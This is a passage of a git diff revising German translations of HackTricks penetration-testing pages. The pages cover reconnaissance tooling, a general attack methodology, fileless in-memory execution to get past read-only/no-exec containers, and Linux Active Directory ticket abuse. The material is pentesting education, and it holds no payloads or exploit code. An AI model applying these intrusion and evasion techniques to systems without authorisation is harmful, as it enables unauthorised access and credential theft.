maßgeschneiderte Wortliste oder historische DNS/TLS-Daten, um genauere entsprechende Domainnamen zu synthetisieren und diese in einer Schleife basierend auf den während des DNS-Scans gesammelten Informationen weiter zu erweitern. +* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ist ein Subdomain-Brute-Force-Fuzzer, der mit einem äußerst einfachen, aber effektiven DNS-Antwort-gesteuerten Algorithmus gekoppelt ist. Er nutzt einen bereitgestellten Satz von Eingabedaten, wie eine maßgeschneiderte Wortliste oder historische DNS/TLS-Aufzeichnungen, um genauere entsprechende Domainnamen zu synthetisieren und diese in einer Schleife basierend auf den während des DNS-Scans gesammelten Informationen weiter zu erweitern. ``` echo www | subzuf facebook.com ``` @@ -438,7 +438,7 @@ Wenn Sie eine IP-Adresse gefunden haben, die **eine oder mehrere Webseiten** von #### OSINT -Sie können einige **VHosts in IPs finden, indem Sie** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **oder andere APIs** verwenden. +Sie können einige **VHosts in IPs finden mit** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **oder anderen APIs**. **Brute Force** @@ -473,14 +473,14 @@ Außerdem, da du zu diesem Zeitpunkt alle Domains im Scope kennst, versuche [**m ### **Monitorisierung** -Du kannst **überwachen**, ob **neue Subdomains** einer Domain erstellt werden, indem du die **Certificate Transparency** Logs überwachst, was [**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) tut. +Du kannst **überwachen**, ob **neue Subdomains** einer Domain erstellt werden, indem du die **Certificate Transparency** Logs überwachst, was [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) tut. ### **Nach Schwachstellen suchen** Überprüfe auf mögliche [**Subdomain-Übernahmen**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\ Wenn die **Subdomain** auf einen **S3-Bucket** zeigt, [**prüfe die Berechtigungen**](../../network-services-pentesting/pentesting-web/buckets/). -Wenn du eine **Subdomain mit einer anderen IP** als den bereits in der Asset-Entdeckung gefundenen findest, solltest du einen **grundlegenden Schwachstellenscan** (mit Nessus oder OpenVAS) und einen [**Portscan**](../pentesting-network/#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nachdem, welche Dienste laufen, kannst du in **diesem Buch einige Tricks finden, um sie zu "attackieren"**.\ +Wenn du eine **Subdomain mit einer anderen IP** als den bereits in der Asset-Entdeckung gefundenen findest, solltest du einen **grundlegenden Schwachstellenscan** (mit Nessus oder OpenVAS) und einen [**Portscan**](../pentesting-network/#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nachdem, welche Dienste laufen, kannst du in **diesem Buch einige Tricks finden, um sie zu "angreifen"**.\ _Bedenke, dass die Subdomain manchmal auf einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, also ist sie nicht im Scope, sei vorsichtig._ ## IPs @@ -509,7 +509,7 @@ In den vorherigen Schritten hast du wahrscheinlich bereits einige **Recon der en Bitte beachte, dass dies **auf die Entdeckung von Webanwendungen** ausgerichtet ist, sodass du auch **den Schwachstellenscan** und **Portscan** durchführen solltest (**wenn im Scope erlaubt**). Eine **schnelle Methode**, um **offene Ports** im Zusammenhang mit **Web**-Servern zu entdecken, ist [**masscan** hier zu finden](../pentesting-network/#http-port-discovery).\ -Ein weiteres benutzerfreundliches Tool zur Suche nach Webservern ist [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) und [**httpx**](https://github.com/projectdiscovery/httpx). Du gibst einfach eine Liste von Domains ein, und es wird versuchen, sich mit Port 80 (http) und 443 (https) zu verbinden. Zusätzlich kannst du angeben, andere Ports auszuprobieren: +Ein weiteres benutzerfreundliches Tool zur Suche nach Webservern ist [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) und [**httpx**](https://github.com/projectdiscovery/httpx). Du gibst einfach eine Liste von Domains ein und es versucht, sich mit Port 80 (http) und 443 (https) zu verbinden. Zusätzlich kannst du angeben, andere Ports auszuprobieren: ```bash cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443 @@ -579,7 +579,7 @@ Sie können das **Tool** [**Leakos**](https://github.com/carlospolop/Leakos) ver #### Github Dorks -Überprüfen Sie auch diese **Seite** auf potenzielle **Github Dorks**, nach denen Sie auch in der Organisation suchen könnten, die Sie angreifen: +Überprüfen Sie auch diese **Seite** auf potenzielle **Github Dorks**, nach denen Sie in der Organisation, die Sie angreifen, suchen könnten: {% content-ref url="github-leaked-secrets.md" %} [github-leaked-secrets.md](github-leaked-secrets.md) @@ -624,7 +624,7 @@ Ich möchte auch einen besonderen Hinweis auf den Abschnitt [**Web Automated Sca > Herzlichen Glückwunsch! An diesem Punkt haben Sie bereits **alle grundlegenden Enumeration** durchgeführt. Ja, es ist grundlegend, weil viel mehr Enumeration durchgeführt werden kann (wir werden später mehr Tricks sehen). -Also haben Sie bereits: +Sie haben bereits: 1. Alle **Unternehmen** im Geltungsbereich gefunden 2. Alle **Assets** gefunden, die zu den Unternehmen gehören (und einige Schwachstellenscans durchgeführt, wenn im Geltungsbereich) @@ -633,7 +633,7 @@ Also haben Sie bereits: 5. Alle **IPs** (von und **nicht von CDNs**) im Geltungsbereich gefunden. 6. Alle **Webserver** gefunden und einen **Screenshot** von ihnen gemacht (gibt es etwas Seltsames, das einen genaueren Blick wert ist?) 7. Alle **potenziellen öffentlichen Cloud-Ressourcen** gefunden, die zu dem Unternehmen gehören. -8. **E-Mails**, **Credential Leaks** und **Secret Leaks**, die Ihnen einen **großen Gewinn sehr leicht** verschaffen könnten. +8. **E-Mails**, **Credential Leaks** und **Secret Leaks**, die Ihnen einen **großen Gewinn sehr einfach** bringen könnten. 9. **Pentesting aller Webseiten, die Sie gefunden haben** ## **Vollständige Recon Automatische Tools** @@ -649,7 +649,7 @@ Es gibt mehrere Tools, die Teile der vorgeschlagenen Aktionen gegen einen bestim * Alle kostenlosen Kurse von [**@Jhaddix**](https://twitter.com/Jhaddix) wie [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI) -
+
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_). @@ -661,7 +661,7 @@ Lernen & üben Sie GCP Hacking: -Unterstützen Sie HackTricks +Support HackTricks * Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** diff --git a/generic-methodologies-and-resources/pentesting-methodology.md b/generic-methodologies-and-resources/pentesting-methodology.md index 9f18c0ab5..36f2145fa 100644 --- a/generic-methodologies-and-resources/pentesting-methodology.md +++ b/generic-methodologies-and-resources/pentesting-methodology.md @@ -1,4 +1,4 @@ -# Pentesting Methodologie +# Pentesting Methodology {% hint style="success" %} Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -6,7 +6,7 @@ Lerne & übe GCP Hacking: -Unterstütze HackTricks +Support HackTricks * Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! * **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -15,13 +15,13 @@ Lerne & übe GCP Hacking: {% endhint %} -
+
Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_). {% embed url="https://www.stmcyber.com/careers" %} -## Pentesting Methodologie +## Pentesting Methodology
@@ -36,17 +36,17 @@ Hast du **physischen Zugang** zu der Maschine, die du angreifen möchtest? Du so **Je nachdem**, ob der **Test**, den du durchführst, ein **interner oder externer Test** ist, könntest du daran interessiert sein, **Hosts im Unternehmensnetzwerk** (interner Test) oder **Vermögenswerte des Unternehmens im Internet** (externer Test) zu finden. {% hint style="info" %} -Beachte, dass du, wenn du einen externen Test durchführst, sobald du Zugriff auf das interne Netzwerk des Unternehmens erhalten hast, diese Anleitung neu starten solltest. +Beachte, dass du, wenn du einen externen Test durchführst, sobald du Zugang zum internen Netzwerk des Unternehmens erhalten hast, diese Anleitung neu starten solltest. {% endhint %} ### **2-** [**Spaß mit dem Netzwerk haben**](pentesting-network/) **(Intern)** **Dieser Abschnitt gilt nur, wenn du einen internen Test durchführst.**\ -Bevor du einen Host angreifst, möchtest du vielleicht **einige Anmeldeinformationen** **aus dem Netzwerk stehlen** oder **Daten** **sniffen**, um **passiv/aktiv (MitM)** herauszufinden, was du im Netzwerk finden kannst. Du kannst [**Pentesting Network**](pentesting-network/#sniffing) lesen. +Bevor du einen Host angreifst, möchtest du vielleicht **einige Anmeldeinformationen** **aus dem Netzwerk stehlen** oder **Daten sniffen**, um **passiv/aktiv (MitM)** herauszufinden, was du im Netzwerk finden kannst. Du kannst [**Pentesting Network**](pentesting-network/#sniffing) lesen. ### 3- [Port-Scan - Dienstentdeckung](pentesting-network/#scanning-hosts) -Das erste, was du tun solltest, wenn du **nach Schwachstellen in einem Host suchst**, ist zu wissen, welche **Dienste laufen** und an welchen Ports. Lass uns die [**grundlegenden Werkzeuge zum Scannen von Ports von Hosts**](pentesting-network/#scanning-hosts) ansehen. +Das erste, was du tun solltest, wenn du **nach Schwachstellen in einem Host suchst**, ist zu wissen, welche **Dienste laufen** und an welchen Ports. Lass uns die [**grundlegenden Tools zum Scannen von Ports von Hosts**](pentesting-network/#scanning-hosts) ansehen. ### **4-** [**Suchen nach Dienstversions-Exploits**](search-exploits.md) @@ -56,16 +56,16 @@ Sobald du weißt, welche Dienste laufen und vielleicht welche Version, musst du Wenn es keinen ausgefallenen Exploit für einen laufenden Dienst gibt, solltest du nach **häufigen Fehlkonfigurationen in jedem laufenden Dienst suchen.** -**In diesem Buch findest du einen Leitfaden zum Pentesting der häufigsten Dienste** (und anderer, die nicht so häufig sind)**. Bitte suche im linken Index nach der** _**PENTESTING**_ **Sektion** (die Dienste sind nach ihren Standardports geordnet). +**In diesem Buch findest du einen Leitfaden zum Pentesting der häufigsten Dienste** (und anderer, die nicht so häufig sind). **Bitte suche im linken Index nach der** _**PENTESTING**_ **Sektion** (die Dienste sind nach ihren Standardports geordnet). **Ich möchte besonders auf den** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **Teil hinweisen (da er der umfangreichste ist).**\ Außerdem findest du hier einen kleinen Leitfaden, wie man [**bekannte Schwachstellen in Software findet**](search-exploits.md). **Wenn dein Dienst nicht im Index ist, suche bei Google** nach anderen Tutorials und **lass es mich wissen, wenn du möchtest, dass ich es hinzufüge.** Wenn du **nichts** bei Google finden kannst, führe dein **eigenes blindes Pentesting** durch, du könntest damit beginnen, **eine Verbindung zum Dienst herzustellen, ihn zu fuzzing und die Antworten zu lesen** (falls vorhanden). -#### 5.1 Automatische Werkzeuge +#### 5.1 Automatische Tools -Es gibt auch mehrere Werkzeuge, die **automatische Schwachstellenbewertungen** durchführen können. **Ich würde dir empfehlen,** [**Legion**](https://github.com/carlospolop/legion)** auszuprobieren, das ist das Werkzeug, das ich erstellt habe und das auf den Notizen über Pentesting-Dienste basiert, die du in diesem Buch finden kannst.** +Es gibt auch mehrere Tools, die **automatische Schwachstellenbewertungen** durchführen können. **Ich würde dir empfehlen,** [**Legion**](https://github.com/carlospolop/legion)** auszuprobieren, das ist das Tool, das ich erstellt habe und das auf den Notizen über Pentesting-Dienste basiert, die du in diesem Buch finden kannst.** #### **5.2 Brute-Forcing-Dienste** @@ -73,11 +73,11 @@ In einigen Szenarien könnte ein **Brute-Force** nützlich sein, um einen **Dien ### 6- [Phishing](phishing-methodology/) -Wenn du an diesem Punkt keine interessanten Schwachstellen gefunden hast, **musst du vielleicht einige Phishing-Versuche** unternehmen, um ins Netzwerk zu gelangen. Du kannst meine Phishing-Methodologie [hier](phishing-methodology/) lesen: +Wenn du an diesem Punkt keine interessanten Schwachstellen gefunden hast, **musst du vielleicht etwas Phishing versuchen**, um ins Netzwerk zu gelangen. Du kannst meine Phishing-Methodologie [hier](phishing-methodology/) lesen: ### **7-** [**Shell erhalten**](reverse-shells/) -Irgendwie solltest du **eine Möglichkeit gefunden haben, Code** im Opfer auszuführen. Dann wäre [eine Liste möglicher Werkzeuge im System, die du verwenden kannst, um eine Reverse-Shell zu erhalten, sehr nützlich](reverse-shells/). +Irgendwie solltest du **eine Möglichkeit gefunden haben, Code** im Opfer auszuführen. Dann wäre [eine Liste möglicher Tools im System, die du verwenden kannst, um eine Reverse-Shell zu erhalten, sehr nützlich](reverse-shells/). Besonders unter Windows könntest du Hilfe benötigen, um **Antivirenprogramme zu umgehen**: [**Überprüfe diese Seite**](../windows-hardening/av-bypass.md)**.**\\ @@ -91,7 +91,7 @@ Wenn du Probleme mit der Shell hast, findest du hier eine kleine **Zusammenstell ### **9 -** [**Exfiltration**](exfiltration.md) -Du wirst wahrscheinlich **einige Daten vom Opfer extrahieren** oder sogar **etwas einführen** müssen (wie Skripte zur Privilegieneskalation). **Hier hast du einen** [**Beitrag über gängige Werkzeuge, die du für diese Zwecke verwenden kannst**](exfiltration.md)**.** +Du wirst wahrscheinlich **einige Daten vom Opfer extrahieren** oder sogar **etwas einführen** müssen (wie Skripte zur Privilegieneskalation). **Hier hast du einen** [**Beitrag über gängige Tools, die du für diese Zwecke verwenden kannst**](exfiltration.md)**.** ### **10- Privilegieneskalation** @@ -106,7 +106,7 @@ Du solltest auch diese Seiten über die Funktionsweise von **Windows** überprü * Wie man [**Anmeldeinformationen stiehlt**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) in Windows * Einige Tricks über [_**Active Directory**_](../windows-hardening/active-directory-methodology/) -**Vergiss nicht, die besten Werkzeuge zur Aufzählung von Windows- und Linux-Pfaden zur lokalen Privilegieneskalation zu überprüfen:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) +**Vergiss nicht, die besten Tools zur Aufzählung von Windows- und Linux-Pfaden zur lokalen Privilegieneskalation zu überprüfen:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) #### **10.2- Domain Privilegieneskalation** @@ -116,7 +116,7 @@ Hier findest du eine [**Methodologie, die die häufigsten Aktionen zur Aufzählu #### **11**.1 - Plündern -Überprüfe, ob du weitere **Passwörter** im Host finden kannst oder ob du **Zugriff auf andere Maschinen** mit den **Privilegien** deines **Benutzers** hast.\ +Überprüfe, ob du weitere **Passwörter** im Host finden kannst oder ob du **Zugang zu anderen Maschinen** mit den **Privilegien** deines **Benutzers** hast.\ Hier findest du verschiedene Möglichkeiten, um [**Passwörter in Windows zu dumpen**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md). #### 11.2 - Persistenz @@ -128,7 +128,7 @@ TODO: Vollständige Persistenz-Post in Windows & Linux ### 12 - Pivoting -Mit den **gesammelten Anmeldeinformationen** könntest du Zugriff auf andere Maschinen haben, oder vielleicht musst du **neue Hosts entdecken und scannen** (beginne die Pentesting-Methodologie erneut) in neuen Netzwerken, mit denen dein Opfer verbunden ist.\ +Mit den **gesammelten Anmeldeinformationen** könntest du Zugang zu anderen Maschinen haben, oder vielleicht musst du **neue Hosts entdecken und scannen** (beginne die Pentesting-Methodologie erneut) in neuen Netzwerken, mit denen dein Opfer verbunden ist.\ In diesem Fall könnte Tunneling notwendig sein. Hier findest du [**einen Beitrag über Tunneling**](tunneling-and-port-forwarding.md).\ Du solltest auch den Beitrag über die [Pentesting-Methodologie für Active Directory](../windows-hardening/active-directory-methodology/) überprüfen. Dort findest du coole Tricks, um lateral zu bewegen, Privilegien zu eskalieren und Anmeldeinformationen zu dumpen.\ Überprüfe auch die Seite über [**NTLM**](../windows-hardening/ntlm/), sie könnte sehr nützlich sein, um in Windows-Umgebungen zu pivotieren. @@ -141,9 +141,9 @@ Du solltest auch den Beitrag über die [Pentesting-Methodologie für Active Dire * [**Grundlegendes Linux-Exploiting**](broken-reference/) * [**Grundlegendes Windows-Exploiting**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -* [**Grundlegende Exploiting-Werkzeuge**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/) +* [**Grundlegende Exploiting-Tools**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/) -#### [**Grundlegendes Python**](python/) +#### [**Grundlagen Python**](python/) #### **Krypto-Tricks** @@ -151,7 +151,7 @@ Du solltest auch den Beitrag über die [Pentesting-Methodologie für Active Dire * [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) * [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md) -
+
Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_). @@ -163,7 +163,7 @@ Lerne & übe GCP Hacking: -Unterstütze HackTricks +Support HackTricks * Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! * **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** diff --git a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md index 5445d54aa..19d2a6197 100644 --- a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md +++ b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md @@ -15,7 +15,7 @@ Lerne & übe GCP Hacking: {% endhint %} -
+
Wenn du an einer **Hacking-Karriere** interessiert bist und das Unhackbare hacken möchtest - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_). @@ -30,7 +30,7 @@ In den folgenden Videos findest du die auf dieser Seite erwähnten Techniken aus ## read-only / no-exec Szenario -Es ist immer häufiger anzutreffen, dass Linux-Maschinen mit **read-only (ro) Dateisystemschutz** gemountet werden, insbesondere in Containern. Das liegt daran, dass es so einfach ist, einen Container mit ro Dateisystem zu betreiben, wie **`readOnlyRootFilesystem: true`** im `securitycontext` festzulegen: +Es ist immer häufiger anzutreffen, dass Linux-Maschinen mit **schreibgeschütztem (ro) Dateisystemschutz** gemountet werden, insbesondere in Containern. Das liegt daran, dass es so einfach ist, einen Container mit ro Dateisystem zu betreiben, wie **`readOnlyRootFilesystem: true`** im `securitycontext` festzulegen:
apiVersion: v1
 kind: Pod
@@ -45,19 +45,19 @@ securityContext:
     command: ["sh", "-c", "while true; do sleep 1000; done"]
 
-Allerdings, selbst wenn das Dateisystem als ro gemountet ist, ist **`/dev/shm`** weiterhin beschreibbar, sodass es falsch ist zu sagen, dass wir nichts auf die Festplatte schreiben können. Diese Ordner werden jedoch **mit no-exec-Schutz** gemountet, sodass du eine hier heruntergeladene Binärdatei **nicht ausführen kannst**. +Allerdings, selbst wenn das Dateisystem als ro gemountet ist, bleibt **`/dev/shm`** beschreibbar, sodass es falsch ist zu sagen, dass wir nichts auf die Festplatte schreiben können. Diese Ordner werden jedoch **mit no-exec-Schutz** gemountet, sodass du eine hier heruntergeladene Binärdatei **nicht ausführen kannst**. {% hint style="warning" %} -Aus der Perspektive eines Red Teams macht dies das **Herunterladen und Ausführen** von Binärdateien, die sich nicht bereits im System befinden (wie Backdoors oder Aufzähler wie `kubectl`), **kompliziert**. +Aus der Perspektive eines Red Teams macht dies das **Herunterladen und Ausführen** von Binärdateien, die sich nicht bereits im System befinden (wie Backdoors oder Enumerator wie `kubectl`), **kompliziert**. {% endhint %} ## Einfachster Bypass: Skripte -Beachte, dass ich von Binärdateien gesprochen habe, du kannst **jedes Skript ausführen**, solange der Interpreter auf der Maschine vorhanden ist, wie ein **Shell-Skript**, wenn `sh` vorhanden ist, oder ein **Python**-**Skript**, wenn `Python` installiert ist. +Beachte, dass ich von Binärdateien gesprochen habe, du kannst **jedes Skript ausführen**, solange der Interpreter auf der Maschine vorhanden ist, wie ein **Shell-Skript**, wenn `sh` vorhanden ist, oder ein **Python-Skript**, wenn `python` installiert ist. Allerdings reicht das nicht aus, um deine Binär-Backdoor oder andere Binärwerkzeuge auszuführen, die du möglicherweise benötigst. -## Speicher-Bypässe +## Speicher-Bypasses Wenn du eine Binärdatei ausführen möchtest, aber das Dateisystem dies nicht zulässt, ist der beste Weg, dies zu tun, indem du sie **aus dem Speicher ausführst**, da die **Schutzmaßnahmen dort nicht gelten**. @@ -65,10 +65,10 @@ Wenn du eine Binärdatei ausführen möchtest, aber das Dateisystem dies nicht z Wenn du einige leistungsstarke Skript-Engines auf der Maschine hast, wie **Python**, **Perl** oder **Ruby**, könntest du die Binärdatei herunterladen, um sie aus dem Speicher auszuführen, sie in einem Speicher-Dateideskriptor (`create_memfd` syscall) speichern, der nicht durch diese Schutzmaßnahmen geschützt ist, und dann einen **`exec` syscall** aufrufen, der den **fd als die auszuführende Datei angibt**. -Dafür kannst du leicht das Projekt [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) verwenden. Du kannst ihm eine Binärdatei übergeben, und es wird ein Skript in der angegebenen Sprache generiert, mit der **Binärdatei komprimiert und b64 codiert** und den Anweisungen, um sie in einem **fd** zu **dekodieren und zu dekomprimieren**, das durch den Aufruf des `create_memfd` syscalls erstellt wird, und einem Aufruf des **exec** syscalls, um sie auszuführen. +Dafür kannst du leicht das Projekt [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec) verwenden. Du kannst ihm eine Binärdatei übergeben, und es wird ein Skript in der angegebenen Sprache generiert, das die **Binärdatei komprimiert und b64 kodiert** mit den Anweisungen, um sie in einem **fd** zu **dekodieren und zu dekomprimieren**, das durch den Aufruf des `create_memfd` syscalls erstellt wird, und einen Aufruf des **exec** syscalls, um sie auszuführen. {% hint style="warning" %} -Dies funktioniert nicht in anderen Skriptsprache wie PHP oder Node, da sie keinen d**efault Weg haben, rohe syscalls** aus einem Skript aufzurufen, sodass es nicht möglich ist, `create_memfd` aufzurufen, um den **Speicher fd** zu erstellen, um die Binärdatei zu speichern. +Dies funktioniert nicht in anderen Skriptsprachen wie PHP oder Node, da sie keine **Standardmethode haben, um rohe Syscalls** aus einem Skript aufzurufen, sodass es nicht möglich ist, `create_memfd` aufzurufen, um den **Speicher fd** zu erstellen, um die Binärdatei zu speichern. Darüber hinaus wird das Erstellen eines **regulären fd** mit einer Datei in `/dev/shm` nicht funktionieren, da du sie nicht ausführen darfst, weil der **no-exec-Schutz** gilt. {% endhint %} @@ -96,11 +96,11 @@ Für weitere Informationen zu dieser Technik, siehe das Github oder: [**Memexec**](https://github.com/arget13/memexec) ist der natürliche nächste Schritt von DDexec. Es ist ein **DDexec Shellcode, der demonisiert wurde**, sodass Sie jedes Mal, wenn Sie **eine andere Binärdatei ausführen** möchten, DDexec nicht neu starten müssen. Sie können einfach den Memexec-Shellcode über die DDexec-Technik ausführen und dann **mit diesem Daemon kommunizieren, um neue Binärdateien zu laden und auszuführen**. -Ein Beispiel, wie man **memexec verwendet, um Binärdateien von einem PHP-Reverse-Shell auszuführen**, finden Sie unter [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php). +Ein Beispiel, wie man **memexec verwendet, um Binärdateien von einer PHP-Reverse-Shell auszuführen**, finden Sie unter [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php). ### Memdlopen -Mit einem ähnlichen Zweck wie DDexec ermöglicht die [**memdlopen**](https://github.com/arget13/memdlopen) Technik eine **einfachere Möglichkeit, Binärdateien** im Speicher zu laden, um sie später auszuführen. Es könnte sogar ermöglichen, Binärdateien mit Abhängigkeiten zu laden. +Mit einem ähnlichen Zweck wie DDexec ermöglicht die Technik [**memdlopen**](https://github.com/arget13/memdlopen) eine **einfachere Möglichkeit, Binärdateien** im Speicher zu laden, um sie später auszuführen. Es könnte sogar ermöglichen, Binärdateien mit Abhängigkeiten zu laden. ## Distroless Bypass @@ -130,9 +130,9 @@ Wenn es **keine `read-only/no-exec`**-Schutzmaßnahmen gibt, könnten Sie Ihre R In dieser Art von Containern werden diese Schutzmaßnahmen jedoch normalerweise vorhanden sein, aber Sie könnten die **vorherigen Techniken zur Ausführung im Speicher verwenden, um sie zu umgehen**. {% endhint %} -Sie finden **Beispiele**, wie man **einige RCE-Schwachstellen ausnutzt**, um Skriptsprache **Reverse Shells** zu erhalten und Binärdateien aus dem Speicher auszuführen, unter [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE). +Sie finden **Beispiele**, wie man **einige RCE-Schwachstellen ausnutzt**, um Skriptsprache **Reverse Shells** zu erhalten und Binärdateien aus dem Speicher auszuführen unter [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE). -
+
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_). diff --git a/linux-hardening/privilege-escalation/linux-active-directory.md b/linux-hardening/privilege-escalation/linux-active-directory.md index 36a349d69..4fef5dbcd 100644 --- a/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/linux-hardening/privilege-escalation/linux-active-directory.md @@ -1,35 +1,33 @@ # Linux Active Directory {% hint style="success" %} -Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Unterstütze HackTricks +Support HackTricks -* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -
- {% embed url="https://websec.nl/" %} Eine Linux-Maschine kann auch in einer Active Directory-Umgebung vorhanden sein. -Eine Linux-Maschine in einem AD könnte **verschiedene CCACHE-Tickets in Dateien speichern. Diese Tickets können wie jedes andere Kerberos-Ticket verwendet und missbraucht werden**. Um diese Tickets zu lesen, musst du der Benutzerbesitzer des Tickets oder **root** auf der Maschine sein. +Eine Linux-Maschine in einem AD könnte **verschiedene CCACHE-Tickets in Dateien speichern. Diese Tickets können wie jedes andere Kerberos-Ticket verwendet und missbraucht werden**. Um diese Tickets zu lesen, müssen Sie der Benutzerbesitzer des Tickets oder **root** auf der Maschine sein. ## Enumeration ### AD Enumeration von Linux -Wenn du Zugriff auf ein AD in Linux (oder Bash in Windows) hast, kannst du [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) versuchen, um das AD zu enumerieren. +Wenn Sie Zugriff auf ein AD in Linux (oder Bash in Windows) haben, können Sie [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) versuchen, um das AD zu enumerieren. -Du kannst auch die folgende Seite überprüfen, um **andere Möglichkeiten zur Enumeration von AD aus Linux zu lernen**: +Sie können auch die folgende Seite überprüfen, um **andere Möglichkeiten zur Enumeration von AD aus Linux** zu lernen: {% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %} [pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md) @@ -37,17 +35,17 @@ Du kannst auch die folgende Seite überprüfen, um **andere Möglichkeiten zur E ### FreeIPA -FreeIPA ist eine Open-Source-**Alternative** zu Microsoft Windows **Active Directory**, hauptsächlich für **Unix**-Umgebungen. Es kombiniert ein vollständiges **LDAP-Verzeichnis** mit einem MIT **Kerberos** Key Distribution Center für eine Verwaltung ähnlich der von Active Directory. Es nutzt das Dogtag **Zertifikatsystem** für CA- und RA-Zertifikatsmanagement und unterstützt **Multi-Faktor**-Authentifizierung, einschließlich Smartcards. SSSD ist für Unix-Authentifizierungsprozesse integriert. Erfahre mehr darüber in: +FreeIPA ist eine Open-Source-**Alternative** zu Microsoft Windows **Active Directory**, hauptsächlich für **Unix**-Umgebungen. Es kombiniert ein vollständiges 